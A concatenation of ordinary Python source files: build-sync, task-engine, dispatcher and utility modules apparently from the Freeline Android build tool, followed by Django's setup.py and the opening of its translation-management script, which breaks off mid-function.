class GradleSyncClient(SyncClient):
    def __init__(self, is_art, config, project_info, all_modules):
        SyncClient.__init__(self, is_art, config)
        self._project_info = project_info
        self._all_modules = all_modules
        self._is_need_sync_base_res = False

    def check_base_res_exist(self):
        url = 'http://127.0.0.1:{}/checkResource'.format(self._port)
        self.debug('checkresource: ' + url)
        result, err, code = curl(url)
        if code != 0:
            raise FreelineException('check base res failed', err.message)
        if int(result) == 0:
            self.debug('base resource not exists, need to sync full resource pack first')
            self._is_need_sync_base_res = True
        else:
            self.debug('base resource exists, there is no need to sync full resource pack')

    def push_full_res_pack(self):
        if self._is_need_sync_base_res:
            full_pack_path = get_base_resource_path(self._cache_dir)
            if os.path.exists(full_pack_path):
                self.debug('start to sync full resource pack...')
                self.debug('full pack size: {}kb'.format(os.path.getsize(full_pack_path) / 1000))
                with open(full_pack_path, 'rb') as fp:
                    url = 'http://127.0.0.1:{}/pushFullResourcePack'.format(self._port)
                    self.debug('pushfullpack: ' + url)
                    result, err, code = curl(url, body=fp.read())
                    if code != 0:
                        raise FreelineException('push full res pack failed', err.message)
            else:
                raise FreelineException('You may need a clean build.',
                                        'full resource pack not found: {}'.format(full_pack_path))

    def sync_incremental_res(self):
        mode = 'increment' if self._is_art else 'full'
        can_sync_inc_res = False
        for module in self._all_modules:
            finder = GradleDirectoryFinder(module, self._project_info[module]['path'], self._cache_dir)
            fpath = finder.get_dst_res_pack_path(module)
            sync_status = finder.get_sync_file_path()

            if not os.path.exists(sync_status):
                self.debug('{} has no need to sync inc res pack.'.format(module))
                continue

            if not can_sync_inc_res and self._is_art:
                self.check_base_res_exist()
                self.push_full_res_pack()
                can_sync_inc_res = True

            self.debug('start to sync {} incremental res pack...'.format(module))
            self.debug('{} pack size: {}kb'.format(module, os.path.getsize(fpath) / 1000))
            with open(fpath, 'rb') as fp:
                url = 'http://127.0.0.1:{}/pushResource?mode={}&bundleId={}'.format(self._port, mode, 'base-res')
                self.debug('pushres: ' + url)
                result, err, code = curl(url, body=fp.read())
                if code != 0:
                    raise FreelineException('sync incremental respack failed', err.message)

                android_tools.clean_res_build_job_flag(finder.get_res_build_job_path())
                self.debug('sync {} incremental res pack finished'.format(module))

    def _get_apktime_path(self):
        return android_tools.get_apktime_path(self._config)

    def _is_need_sync_res(self):
        for module in self._all_modules:
            finder = GradleDirectoryFinder(module, self._project_info[module]['path'], self._cache_dir)
            fpath = finder.get_dst_res_pack_path(module)
            sync_status = fpath.replace('.pack', '.sync')
            if os.path.exists(sync_status):
                return True
        return False


class GradleCleanCacheTask(android_tools.CleanCacheTask):
    def __init__(self, cache_dir, project_info):
        android_tools.CleanCacheTask.__init__(self, cache_dir, project_info)

    def execute(self):
        android_tools.clean_src_changed_flag(self._cache_dir)
        android_tools.clean_res_changed_flag(self._cache_dir)
        for dirpath, dirnames, files in os.walk(self._cache_dir):
            for fn in files:
                if fn.endswith('.sync'):
                    os.remove(os.path.join(dirpath, fn))
                    module = fn.split('.')[0]
                    self._refresh_public_files(module)

                if fn.endswith('increment.dex') or fn.endswith('.rflag') or fn.endswith('.restart'):
                    os.remove(os.path.join(dirpath, fn))

    def _refresh_public_files(self, module):
        finder = GradleDirectoryFinder(module, self._project_info[module]['path'], self._cache_dir,
                                       package_name=self._project_info[module]['packagename'])
        public_xml_path = finder.get_public_xml_path()
        ids_xml_path = finder.get_ids_xml_path()
        rpath = finder.get_backup_r_path()
        if os.path.exists(public_xml_path) and os.path.exists(ids_xml_path) and os.path.exists(rpath):
            # self.debug('refresh {} public.xml and ids.xml'.format(dirpath))
            # android_tools.generate_public_files_by_r(rpath, public_xml_path, ids_xml_path)
            # android_tools.merge_public_file_with_old(public_xml_path, ids_xml_path, dirpath)
            self.debug('refresh {} ids.xml'.format(module))
            android_tools.generate_id_file_by_public(public_xml_path, ids_xml_path)


class BuildBaseResourceTask(Task):
    def __init__(self, config, project_info):
        Task.__init__(self, 'build_base_resource_task')
        self.__init_attributes()

    def __init_attributes(self):
        # refresh config and project info
        from dispatcher import read_freeline_config
        self._config = read_freeline_config()
        self._project_info = get_project_info(self._config)

        # self._main_dir = self._config['main_project_dir']
        self._main_module_name = self._config['main_project_name']
        self._module_info = self._project_info[self._main_module_name]
        self._finder = GradleDirectoryFinder(self._main_module_name, self._project_info[self._main_module_name]['path'],
                                             self._config['build_cache_dir'], config=self._config,
                                             package_name=self._module_info['packagename'])
        self._public_xml_path = self._finder.get_public_xml_path()
        self._ids_xml_path = self._finder.get_ids_xml_path()

    def execute(self):
        self.__init_attributes()
        self.keep_ids()
        from tracing import Tracing
        with Tracing('build_base_resource_aapt_task'):
            self.run_aapt()

    def keep_ids(self):
        public_keep_path = os.path.join(self._config['build_cache_dir'], 'public_keeper.xml')
        if os.path.exists(public_keep_path):
            self.debug('{} exists, move to dst: {}'.format(public_keep_path, self._public_xml_path))
            import shutil
            shutil.copy(public_keep_path, self._public_xml_path)
            self.debug('generating ids.xml from public.xml...')
            android_tools.generate_id_file_by_public(self._public_xml_path, self._ids_xml_path)
        else:
            self.debug('generating public.xml and ids.xml...')
            rpath = self._finder.get_dst_r_path(config=self._config)
            self.debug('origin R.java path: ' + rpath)
            android_tools.generate_public_files_by_r(rpath, self._public_xml_path, self._ids_xml_path)

    def run_aapt(self):
        aapt_args = [Builder.get_aapt(), 'package', '-f', '-I',
                     os.path.join(self._config['compile_sdk_directory'], 'android.jar'),
                     '-M', self._finder.get_dst_manifest_path()]

        for rdir in self._config['project_source_sets'][self._main_module_name]['main_res_directory']:
            if os.path.exists(rdir):
                aapt_args.append('-S')
                aapt_args.append(rdir)

        for rdir in self._module_info['local_dep_res_path']:
            if os.path.exists(rdir):
                aapt_args.append('-S')
                aapt_args.append(rdir)

        if 'extra_dep_res_paths' in self._config and self._config['extra_dep_res_paths'] is not None:
            arr = self._config['extra_dep_res_paths']
            for path in arr:
                path = path.strip()
                if os.path.isdir(path):
                    aapt_args.append('-S')
                    aapt_args.append(path)

        for resdir in self._module_info['dep_res_path']:
            if os.path.exists(resdir):
                aapt_args.append('-S')
                aapt_args.append(resdir)

        aapt_args.extend(['-S', self._finder.get_backup_res_dir()])

        freeline_assets_dir = os.path.join(self._config['build_cache_dir'], 'freeline-assets')
        aapt_args.append('-A')
        aapt_args.append(freeline_assets_dir)

        for adir in self._config['project_source_sets'][self._main_module_name]['main_assets_directory']:
            if os.path.exists(adir):
                aapt_args.append('-A')
                aapt_args.append(adir)

        base_resource_path = get_base_resource_path(self._config['build_cache_dir'])
        aapt_args.append('-m')
        aapt_args.append('-J')
        aapt_args.append(self._finder.get_backup_dir())
        aapt_args.append('--auto-add-overlay')
        aapt_args.append('-F')
        aapt_args.append(base_resource_path)
        aapt_args.append('--debug-mode')
        aapt_args.append('--resoucres-md5-cache-path')
        aapt_args.append(os.path.join(self._config['build_cache_dir'], "arsc_cache.dat"))
        aapt_args.append('--ignore-assets')
        aapt_args.append('public_id.xml:public.xml:*.bak:.*')

        self.debug('aapt exec: ' + ' '.join(aapt_args))
        output, err, code = cexec(aapt_args, callback=None)

        if code != 0:
            raise FreelineException('build base resources failed with: {}'.format(' '.join(aapt_args)),
                                    '{}\n{}'.format(output, err))
        self.debug('generate base resource success: {}'.format(base_resource_path))


def get_base_resource_path(cache_dir):
    return os.path.join(cache_dir, 'base-res.so')


def get_classpath_by_src_path(module, sdir, src_path):
    if src_path:
        target_dir = os.path.join(module, 'build', 'intermediates', 'classes', 'debug')
        return src_path.replace('.java', '.class').replace(sdir, target_dir)


def get_all_modules(dir_path):
    settings_path = os.path.join(dir_path, 'settings.gradle')
    if os.path.isfile(settings_path):
        data = get_file_content(settings_path)
        modules = []
        for item in re.findall(r'''['"]:(.*?)['"]''', data):
            index = item.rfind(':')
            if index == -1:
                modules.append({'name': item, 'path': item})
            else:
                modules.append({'name': item[index + 1:], 'path': item.replace(":", os.sep)})
        # modules = [item.replace(":", os.sep) for item in re.findall(r'''['"]:(.*?)['"]''', data)]
        return filter(lambda module: os.path.isdir(os.path.join(dir_path, module['path'])), modules)
    return []


class GradleModule(object):
    def __init__(self, module_name):
        self.name = module_name
        self.path = None
        self.library_dependencies = None
        self.library_resource_dependencies = None
        self.module_dependencies = None


def get_project_info(config):
    Logger.debug("collecting project info, please wait a while...")
    project_info = {}
    if 'modules' in config:
        modules = config['modules']
    else:
        modules = get_all_modules(os.getcwd())

    jar_dependencies_path = os.path.join(config['build_cache_dir'], 'jar_dependencies.json')
    jar_dependencies = []
    if os.path.exists(jar_dependencies_path):
        jar_dependencies = load_json_cache(jar_dependencies_path)

    for module in modules:
        if module['name'] in config['project_source_sets']:
            module_info = {}
            module_info['name'] = module['name']
            module_info['path'] = module['path']
            module_info['relative_dir'] = module['path']
            module_info['dep_jar_path'] = jar_dependencies
            module_info['packagename'] = get_package_name(
                config['project_source_sets'][module['name']]['main_manifest_path'])

            gradle_content = remove_comments(get_file_content(os.path.join(module['path'], 'build.gradle')))
            module_info['local_module_dep'] = get_local_dependency(gradle_content)

            project_info[module['name']] = module_info

    for module in modules:
        if module['name'] in config['project_source_sets']:
            local_deps = project_info[module['name']]['local_module_dep']
            for dep in project_info[module['name']]['local_module_dep']:
                if dep in project_info:
                    local_deps.extend(project_info[dep]['local_module_dep'])
            local_deps = list(set(local_deps))
            project_info[module['name']]['local_module_dep'] = []
            for item in local_deps:
                local_dep_name = get_module_name(item)
                if local_dep_name in project_info:
                    project_info[module['name']]['local_module_dep'].append(local_dep_name)

            res_dependencies_path = os.path.join(config['build_cache_dir'], module['name'],
                                                 'resources_dependencies.json')
            res_dependencies = {'library_resources': [], 'local_resources': []}
            if os.path.exists(res_dependencies_path):
                res_dependencies = load_json_cache(res_dependencies_path)
            project_info[module['name']]['dep_res_path'] = res_dependencies['library_resources']
            project_info[module['name']]['local_dep_res_path'] = res_dependencies['local_resources']

    return project_info


def get_module_name(module):
    if os.sep in module:
        arr = module.split(os.sep)
        return arr[len(arr) - 1]
    else:
        return module


def get_package_name(manifest):
    if manifest and os.path.isfile(manifest):
        result = re.search('package=\"(.*)\"', get_file_content(manifest))
        if result:
            return result.group(1)
    return ''


def get_local_dependency(config):
    local_dependency = []
    for m in re.finditer(r'dependencies\s*\{', config):
        depends = balanced_braces(config[m.start():])
        for localdep in re.findall(r'''[cC]ompile[\s+\(]project\(['"]:(.+?)['"]\)''', depends):
            local_dependency.append(localdep.replace(':', os.sep))
    return local_dependency


def remove_comments(data):
    # remove comments in groovy
    return re.sub(r'''(/\*([^*]|[\r\n]|(\*+([^*/]|[\r\n])))*\*+/)|(//.*)''', '', data)


def balanced_braces(arg):
    if '{' not in arg:
        return ''
    chars = []
    n = 0
    for c in arg:
        if c == '{':
            if n > 0:
                chars.append(c)
            n += 1
        elif c == '}':
            n -= 1
            if n > 0:
                chars.append(c)
            elif n == 0:
                return ''.join(chars).lstrip().rstrip()
        elif n > 0:
            chars.append(c)
    return ''






# -*- coding:utf8 -*-
import Queue
import threading
import time
import traceback
from logger import Logger
from task import ExecutableTask, Task


class ThreadPool(object):
    def __init__(self):
        self._init_core_worker()

    def _init_core_worker(self):
        self.core_worker = CoreWorker()
        self.core_worker.setDaemon(True)

    def add_task(self, task):
        self.core_worker.add_task(task)

    def start(self):
        self.core_worker.start()

    def wait(self):
        self.core_worker.wait()


class CoreWorker(threading.Thread):
    def __init__(self, workers_num=6):
        threading.Thread.__init__(self)
        self.queue = Queue.Queue()
        self.workers = []
        self.workers_num = workers_num
        self._init_workers()

    def add_task(self, task):
        self.queue.put(task)

    def run(self):
        map(lambda thread: thread.start(), self.workers)

    def _init_workers(self):
        for i in range(0, self.workers_num):
            worker = Worker(self.queue)
            worker.setDaemon(True)
            self.workers.append(worker)

    def wait(self):
        self.queue.join()


class Worker(threading.Thread):
    def __init__(self, queue):
        threading.Thread.__init__(self)
        self.queue = queue
        self._tpl_debug_message = '[worker_thread] {}'

    def run(self):
        while True:
            try:
                task = self.queue.get()
                if isinstance(task, ExecutableTask):
                    task.execute()
            except Exception as e:
                self.debug('worker thread catch exception')
                self.debug(traceback.format_exc())
            finally:
                self.queue.task_done()

    def debug(self, message):
        Logger.debug(self._tpl_debug_message.format(message))


class TaskEngine(object):
    def __init__(self, logger):
        self._logger = logger
        self.queue = Queue.Queue()
        self.condition = threading.Condition()
        self.start_time = 0
        self.cost_time = 0

        self.pool = ThreadPool()
        self.pool.start()

        self._interrupt_exception = None
        self._init_attr()
        self.tpl_logger_message = '[task_engine] {}'

    def _init_attr(self):
        self.root_tasks = []
        self.tasks_dict = {}
        self.tasks_depth_dict = {}
        self.sorted_tasks = []

    def debug(self, message):
        Logger.debug(self.tpl_logger_message.format(message))

    def add_root_task(self, task):
        if isinstance(task, list):
            map(lambda t: self._add_root_task(t), task)
        else:
            self._add_root_task(task)

    def start(self):
        self.start_time = time.time()
        self._interrupt_exception = None
        self._prepare()
        self.wait()

        if self._interrupt_exception is not None:
            raise self._interrupt_exception

    def finish(self):
        self.cost_time = time.time() - self.start_time
        self.debug('it takes task engine {}s to execute tasks.'.format(round(self.cost_time, 2)))
        self._init_attr()
        self.notify()

    def is_all_tasks_finished(self):
        tasks = self.tasks_dict.values()
        for task in tasks:
            if task.status != 3 and task.status != -1:
                return False
        return True

    def get_running_tasks(self):
        tasks = self.tasks_dict.values()
        return [task for task in tasks if task.status != 3 and task.status != -1]

    def wait(self):
        self.condition.acquire()
        self.condition.wait()
        self.condition.release()

    def notify(self):
        self.condition.acquire()
        self.condition.notify()
        self.condition.release()

    def interrupt(self, exception):
        self._interrupt_exception = exception
        self.debug('task engine occurs exception, engine will exit.')

    def _add_root_task(self, task):
        if isinstance(task, Task) and task not in self.root_tasks:
            self.root_tasks.append(task)

    def _prepare(self):
        tasks_queue = Queue.Queue()
        for task in self.root_tasks:
            tasks_queue.put(task)

        has_added_tasks = []
        while not tasks_queue.empty():
            task = tasks_queue.get()
            has_added_tasks.append(task)

            if not self.tasks_dict.has_key(task.name):
                self.tasks_dict[task.name] = task

            for child in task.child_tasks:
                if child not in has_added_tasks:
                    tasks_queue.put(child)

        depth_array = []

        for task in self.tasks_dict.values():
            depth = TaskEngine.calculate_task_depth(task)
            if self.tasks_depth_dict.has_key(depth):
                self.tasks_depth_dict[depth].append(task)
            else:
                self.tasks_depth_dict[depth] = []
                self.tasks_depth_dict[depth].append(task)
                depth_array.append(depth)

        depth_array.sort()

        for depth in depth_array:
            tasks = self.tasks_depth_dict[depth]
            for task in tasks:
                self.debug("depth: {}, task: {}".format(depth, task))
                self.sorted_tasks.append(task)

        self._logger.set_sorted_tasks(self.sorted_tasks)

        for task in self.sorted_tasks:
            self.pool.add_task(ExecutableTask(task, self))

    @staticmethod
    def calculate_task_depth(task):
        depth = []
        parent_task_queue = Queue.Queue()
        parent_task_queue.put(task)
        while not parent_task_queue.empty():
            parent_task = parent_task_queue.get()

            if parent_task.name not in depth:
                depth.append(parent_task.name)

            for parent in parent_task.parent_tasks:
                if parent.name not in depth:
                    parent_task_queue.put(parent)

        return len(depth)






# -*- coding:utf8 -*-
from __future__ import print_function
import os
import traceback
import threading
import time

from command import AbstractCommand
from exceptions import NoConfigFoundException, CheckSyncStateException, FreelineException, NoInstallationException, \
    FileMissedException
from logger import Logger, LoggerWorker
from task_engine import TaskEngine
from utils import is_windows_system, md5string, load_json_cache


class Dispatcher(object):
    TPL_DISPATCHER_DEBUG_MSG = '[dispatcher] {}'

    def __init__(self):
        self._start_time = time.time()
        self._command = None
        self._builder = None
        self._logger = Logger()
        self._stop_event = threading.Event()
        self._logger_worker = LoggerWorker(self._logger, self._stop_event)
        self._task_engine = TaskEngine(self._logger)
        self._args = None
        self._config = None

    def call_command(self, args):
        self._config = read_freeline_config()
        self._args = args
        self.debug('command line args: ' + str(args))
        Logger.info('[INFO] preparing for tasks...')

        if 'debug' in args and args.debug:
            self._logger.debuggable = True
        if is_windows_system():
            self._logger.debuggable = True

        self._check_logger_worker()

        if 'cleanBuild' in args and args.cleanBuild:
            is_build_all_projects = args.all
            self._setup_clean_build_command(is_build_all_projects)
        elif 'version' in args and args.version:
            version()
        elif 'clean' in args and args.clean:
            self._command = CleanAllCacheCommand(self._config['build_cache_dir'])
        else:
            from freeline_build import FreelineBuildCommand
            self._command = FreelineBuildCommand(self._config, task_engine=self._task_engine)

        if not isinstance(self._command, AbstractCommand):
            raise TypeError

        self._exec_command(self._command)

    def debug(self, message):
        Logger.debug(Dispatcher.TPL_DISPATCHER_DEBUG_MSG.format(message))

    def _check_logger_worker(self):
        if not self._args.version:  # and not self._args.init:
            self._logger_worker.start()

    def _join_logger_worker(self):
        if not self._args.version:  # and not self._args.init:
            self._logger_worker.join()

    def _setup_clean_build_command(self, is_build_all_projects):
        self._builder = self._setup_clean_builder(is_build_all_projects)
        from build_commands import CleanBuildCommand
        self._command = CleanBuildCommand(self._builder)

    def _setup_clean_builder(self, is_build_all_projects):
        if 'project_type' in self._config:
            ptype = self._config['project_type']
            if ptype == 'gradle':
                from gradle_clean_build import GradleCleanBuilder
                return GradleCleanBuilder(self._config, self._task_engine)

        return None

    def _exec_command(self, command):
        footer = '[DEBUG] --------------------------------------------------------'
        is_exception = False
        try:
            command.execute()
        except CheckSyncStateException:
            is_exception = True
            self._retry_clean_build('[WARNING] check sync status failed, a clean build will be automatically executed.')
            # flush_error_info(e)
        except NoInstallationException:
            is_exception = True
            self._retry_clean_build(
                '[WARNING] NoInstallationException occurs, a clean build will be automatically executed.')
        except FileMissedException:
            is_exception = True
            self._retry_clean_build(
                '[WARNING] some important file missed, a clean build will be automatically executed.')
        except KeyboardInterrupt:
            is_exception = True
            footer = KEYBOARD_INTERRUPT_MESSAGE
            self._flush_footer(footer)
        except FreelineException as e:
            is_exception = True
            footer = EXCEPTION_ERROR_MESSAGE.format(e.cause, e.message)
            self._flush_footer(footer)
        except Exception as e:
            is_exception = True
            footer = EXCEPTION_ERROR_MESSAGE.format(traceback.format_exc(), e.message)
            log_path = Logger.write_error_log(exception=footer)
            if log_path:
                footer += '[ERROR] you can find error log in: ' + log_path
                footer += '\n[ERROR] --------------------------------------------------------'
            self._flush_footer(footer)

        if not is_exception:
            self._flush_footer(footer)

    def _retry_clean_build(self, message):
        self._logger.reset()  # reset logger
        Logger.info(message)
        Logger.debug(message)
        self._setup_clean_build_command(is_build_all_projects=False)
        self._exec_command(self._command)

    def _flush_footer(self, footer):
        self._stop_event.set()
        if self._logger.debuggable:
            time.sleep(0.1)  # hack method: wait for the logger worker to flush queue and avoid dead lock
        else:
            self._join_logger_worker()
        finished_time = time.time() - self._start_time
        print(footer.strip())
        print(FOOTER_MESSAGE.format(round(finished_time - self._task_engine.cost_time, 1),
                                    round(self._task_engine.cost_time, 1), round(finished_time, 1)).strip())


def version():
    from version import get_freeline_version
    print(get_freeline_version())
    exit()


def get_cache_dir():
    cache_dir_path = os.path.join(os.path.expanduser('~'), '.freeline', 'cache', md5string(os.getcwd()))
    if not os.path.exists(cache_dir_path):
        os.makedirs(cache_dir_path)
    return cache_dir_path


def read_freeline_config(config_path=None):
    if not config_path:
        config_path = os.path.join(get_cache_dir(), 'project_description.json')

    if os.path.isfile(config_path):
        config = load_json_cache(config_path)
        return config

    raise NoConfigFoundException(config_path)


class CleanAllCacheCommand(AbstractCommand):
    def __init__(self, cache_dir):
        AbstractCommand.__init__(self, 'clean_all_cache_command')
        from android_tools import CleanAllCacheTask
        self._invoker = CleanAllCacheTask(cache_dir)

    def execute(self):
        self.debug('start clean cache...')
        self._invoker.execute()
        self.debug('clean all cache done.')


KEYBOARD_INTERRUPT_MESSAGE = """
[DEBUG] --------------------------------------------------------
[DEBUG] Freeline KeyboardInterrupt EXIT
[DEBUG] --------------------------------------------------------
"""

EXCEPTION_ERROR_MESSAGE = """
[ERROR] --------------------------------------------------------
[ERROR] Freeline ERROR
[ERROR] --------------------------------------------------------
{}
[ERROR] --------------------------------------------------------
[ERROR] {}
[ERROR] --------------------------------------------------------
"""

FOOTER_MESSAGE = """
[DEBUG] Prepare tasks time: {}s
[DEBUG] Task engine running time: {}s
[DEBUG] Total time: {}s
[DEBUG] --------------------------------------------------------
"""






# -*- coding:utf8 -*-
from __future__ import print_function
import os
import string
import random
import platform
import re
import hashlib
import json
import shutil
from hashlib import md5
from subprocess import Popen, PIPE

import errno

try:
    import xml.etree.cElementTree as ET
except ImportError:
    import xml.etree.ElementTree as ET


def cexec(args, callback=None, add_path=None, cwd=None):
    env = None
    if add_path:
        import copy
        env = copy.copy(os.environ)
        env['PATH'] = add_path + os.path.pathsep + env['PATH']
    p = Popen(args, stdin=PIPE, stdout=PIPE, stderr=PIPE, env=env, cwd=cwd)
    output, err = p.communicate()
    code = p.returncode

    if code != 0 and callback:
        callback(args, code, output, err)
    else:
        return output, err, code


def curl(url, body=None):
    code = 0
    err = None
    result = None
    try:
        import urllib2
        result = urllib2.urlopen(url, data=body).read().decode('utf-8').strip()
    except Exception as e:
        code = -1
        err = e
    return result, err, code


def generate_random_string(length=6):
    return ''.join(random.SystemRandom().choice(string.ascii_lowercase + string.digits) for _ in range(length))


def is_windows_system():
    return 'Windows' in platform.system()


def is_linux_system():
    return 'Linux' in platform.system()


def copy(src, dst):
    try:
        shutil.copytree(src, dst)
    except OSError as e:
        if e.errno == errno.ENOTDIR:
            shutil.copy(src, dst)
        else:
            print('Directory not copied. Error: {}'.format(e.message))


def get_md5(fpath):
    m = md5()
    target_file = open(fpath, 'rb')
    m.update(target_file.read())
    target_file.close()
    return m.hexdigest()


def md5string(param):
    m = hashlib.md5()
    m.update(param.encode('utf-8'))
    return m.hexdigest()


base = [str(x) for x in range(10)] + [chr(x) for x in range(ord('A'), ord('A') + 6)]


def dec2hex(string_num):
    num = int(string_num)
    mid = []
    while True:
        if num == 0:
            break
        num, rem = divmod(num, 16)
        mid.append(base[rem])
    return ''.join([str(t) for t in mid[::-1]])


def is_exe(path):
    return os.path.isfile(path) and os.access(path, os.X_OK)


def print_json(json_obj):
    print(json.dumps(json_obj, indent=4, separators=(',', ': ')))


def get_file_content(path):
    if not path or not os.path.isfile(path):
        return ''
    import codecs
    with codecs.open(path, encoding='utf-8') as f:
        return f.read()


def write_file_content(target_path, content):
    with open(target_path, 'w') as fp:
        if isinstance(content, int):
            content = unicode(content)
        fp.write(content.encode('utf-8'))


def load_json_cache(fpath):
    cache = {}
    if not os.path.exists(fpath):
        pass
    if os.path.isfile(fpath):
        try:
            with open(fpath, 'r') as fp:
                cache = json.load(fp)
        except Exception:
            pass
    return cache


def write_json_cache(fpath, cache):
    try:
        with open(fpath, 'w') as fp:
            json.dump(cache, fp)
    except Exception:
        pass


def calculate_typed_file_count(dir_path, ext):
    i = 0
    for dirpath, dirnames, files in os.walk(dir_path):
        for fn in files:
            if fn.endswith(ext):
                i += 1
    return i


def remove_namespace(path):
    content = get_file_content(path)
    xmlstring = re.sub('xmlns="[^"]+"', '', content, count=1)
    return xmlstring.encode('utf-8')  # to avoid UnicodeEncodeError


def merge_xml(filenames):
    return ET.tostring(XMLCombiner(filenames).combine().getroot())


def get_text_by_tag(root, tag):
    element = root.find(tag)
    return element.text if element is not None else ''


class HashableDict(dict):
    def __hash__(self):
        return hash(tuple(sorted(self.items())))


class XMLCombiner(object):
    def __init__(self, filenames):
        assert len(filenames) > 0, 'No filenames!'
        self.roots = [ET.parse(f).getroot() for f in filenames]

    def combine(self):
        for r in self.roots[1:]:
            # combine each element with the first one, and update that
            self.combine_element(self.roots[0], r)
        # return the string representation
        return ET.ElementTree(self.roots[0])

    def combine_element(self, one, other):
        mapping = {(el.tag, HashableDict(el.attrib)): el for el in one}
        for el in other:
            if len(el) == 0:
                try:
                    # Update the text
                    mapping[(el.tag, HashableDict(el.attrib))].text = el.text
                except KeyError:
                    # An element with this name is not in the mapping
                    mapping[(el.tag, HashableDict(el.attrib))] = el
                    # Add it
                    one.append(el)
            else:
                try:
                    # Recursively process the element, and update it in the same way
                    self.combine_element(mapping[(el.tag, HashableDict(el.attrib))], el)
                except KeyError:
                    mapping[(el.tag, HashableDict(el.attrib))] = el
                    one.append(el)






# -*- coding:utf8 -*-

from terminal import Terminal


class Cursor(object):
    def __init__(self, term=None):
        self.term = Terminal() if term is None else term
        self._stream = self.term.stream
        self._saved = False

    def write(self, s):
        self._stream.write(s)

    def save(self):
        self.write(self.term.save)
        self._saved = True

    def restore(self):
        if self._saved:
            self.write(self.term.restore)

    def flush(self):
        self._stream.flush()

    def newline(self):
        self.write(self.term.move_down)
        self.write(self.term.clear_bol)

    def clear_lines(self, num_lines=0):
        for i in range(num_lines):
            self.write(self.term.clear_eol)
            self.write(self.term.move_down)
        for i in range(num_lines):
            self.write(self.term.move_up)






TIOCGWINSZ = 1074295912


def fcntl(fd, op, arg=0):
    return 0


def ioctl(fd, op, arg=0, mutable_flag=True):
    if mutable_flag:
        return 0
    else:
        return ""


def flock(fd, op):
    return


def lockf(fd, operation, length=0, start=0, whence=0):
    return





import os
import sys
from distutils.sysconfig import get_python_lib

from setuptools import find_packages, setup

# Warn if we are installing over top of an existing installation. This can
# cause issues where files that were deleted from a more recent Django are
# still present in site-packages. See #18115.
overlay_warning = False
if "install" in sys.argv:
    lib_paths = [get_python_lib()]
    if lib_paths[0].startswith("/usr/lib/"):
        # We have to try also with an explicit prefix of /usr/local in order to
        # catch Debian's custom user site-packages directory.
        lib_paths.append(get_python_lib(prefix="/usr/local"))
    for lib_path in lib_paths:
        existing_path = os.path.abspath(os.path.join(lib_path, "django"))
        if os.path.exists(existing_path):
            # We note the need for the warning here, but present it after the
            # command is run, so it's more likely to be seen.
            overlay_warning = True
            break


EXCLUDE_FROM_PACKAGES = ['django.conf.project_template',
                         'django.conf.app_template',
                         'django.bin']


# Dynamically calculate the version based on django.VERSION.
version = __import__('django').get_version()


setup(
    name='Django',
    version=version,
    url='http://www.djangoproject.com/',
    author='Django Software Foundation',
    author_email='foundation@djangoproject.com',
    description=('A high-level Python Web framework that encourages '
                 'rapid development and clean, pragmatic design.'),
    license='BSD',
    packages=find_packages(exclude=EXCLUDE_FROM_PACKAGES),
    include_package_data=True,
    scripts=['django/bin/django-admin.py'],
    entry_points={'console_scripts': [
        'django-admin = django.core.management:execute_from_command_line',
    ]},
    extras_require={
        "bcrypt": ["bcrypt"],
        "argon2": ["argon2-cffi >= 16.1.0"],
    },
    zip_safe=False,
    classifiers=[
        'Development Status :: 2 - Pre-Alpha',
        'Environment :: Web Environment',
        'Framework :: Django',
        'Intended Audience :: Developers',
        'License :: OSI Approved :: BSD License',
        'Operating System :: OS Independent',
        'Programming Language :: Python',
        'Programming Language :: Python :: 2',
        'Programming Language :: Python :: 2.7',
        'Programming Language :: Python :: 3',
        'Programming Language :: Python :: 3.4',
        'Programming Language :: Python :: 3.5',
        'Topic :: Internet :: WWW/HTTP',
        'Topic :: Internet :: WWW/HTTP :: Dynamic Content',
        'Topic :: Internet :: WWW/HTTP :: WSGI',
        'Topic :: Software Development :: Libraries :: Application Frameworks',
        'Topic :: Software Development :: Libraries :: Python Modules',
    ],
)


if overlay_warning:
    sys.stderr.write("""

========
WARNING!
========

You have just installed Django over top of an existing
installation, without removing it first. Because of this,
your install may now include extraneous files from a
previous version that have since been removed from
Django. This is known to cause a variety of problems. You
should manually remove the

%(existing_path)s

directory and re-install Django.

""" % {"existing_path": existing_path})






#!/usr/bin/env python
#
# This python file contains utility scripts to manage Django translations.
# It has to be run inside the django git root directory.
#
# The following commands are available:
#
# * update_catalogs: check for new strings in core and contrib catalogs, and
#                    output how much strings are new/changed.
#
# * lang_stats: output statistics for each catalog/language combination
#
# * fetch: fetch translations from transifex.com
#
# Each command support the --languages and --resources options to limit their
# operation to the specified language or resource. For example, to get stats
# for Spanish in contrib.admin, run:
#
#  $ python scripts/manage_translations.py lang_stats --language=es --resources=admin

import os
from argparse import ArgumentParser
from subprocess import PIPE, Popen, call

from django.core.management import call_command

HAVE_JS = ['admin']


def _get_locale_dirs(resources, include_core=True):
    """
    Return a tuple (contrib name, absolute path) for all locale directories,
    optionally including the django core catalog.
    If resources list is not None, filter directories matching resources content.
    """
    contrib_dir = os.path.join(os.getcwd(), 'django', 'contrib')
    dirs = []

    # Collect all locale directories
    for contrib_name in os.listdir(contrib_dir):
        path = os.path.join(contrib_dir, contrib_name, 'locale')
        if os.path.isdir(path):
            dirs.append((contrib_name, path))
            if contrib_name in HAVE_JS:
                dirs.append(("%s-js" % contrib_name, path))
    if include_core:
        dirs.insert(0, ('core', os.path.join(os.getcwd(), 'django', 'conf', 'locale')))

    # Filter by resources, if any
    if resources is not None:
        res_names = [d[0] for d in dirs]
        dirs = [ld for ld in dirs if ld[0] in resources]
        if len(resources) > len(dirs):
            print("You have specified some unknown resources. "
                  "Available resource names are: %s" % (', '.join(res_names),))
            exit(1)
    return dirs


def _tx_resource_for_name(name):
    """ Return the Transifex resource name """
    if name == 'core':
        return "django.core"
    else:
        return "django.contrib-%s" % name


def _check_diff(cat_name, base_path):
    """
    Output the approximate number of changed/added strings in the en catalog.
    """
    po_path = '%(path)s/en/LC_MESSAGES/django%(ext)s.po' % {
        'path': base_path, 'ext': 'js' if cat_name.endswith('-js') else ''}
    p = Popen("git diff -U0 %s | egrep '^[-+]msgid' | wc -l" % po_path,
              stdout=PIPE, stderr=PIPE, shell=True)
    output, errors = p.communicate()
    num_changes = int(output.strip())
    print("%d changed/added messages in '%s' catalog." % (num_changes, cat_name))


def update_catalogs(resources=None, languages=None):
    """
    Update the en/LC_MESSAGES/django.po (main and contrib) files with
    new/updated translatable strings.
    """
    if resources is not None:
        print("`update_catalogs` will always process all resources.")
    contrib_dirs = _get_locale_dirs(None, include_core=False)

    os.chdir(os.path.join(os.getcwd(), 'django'))
    print("Updating en catalogs for Django and contrib apps...")
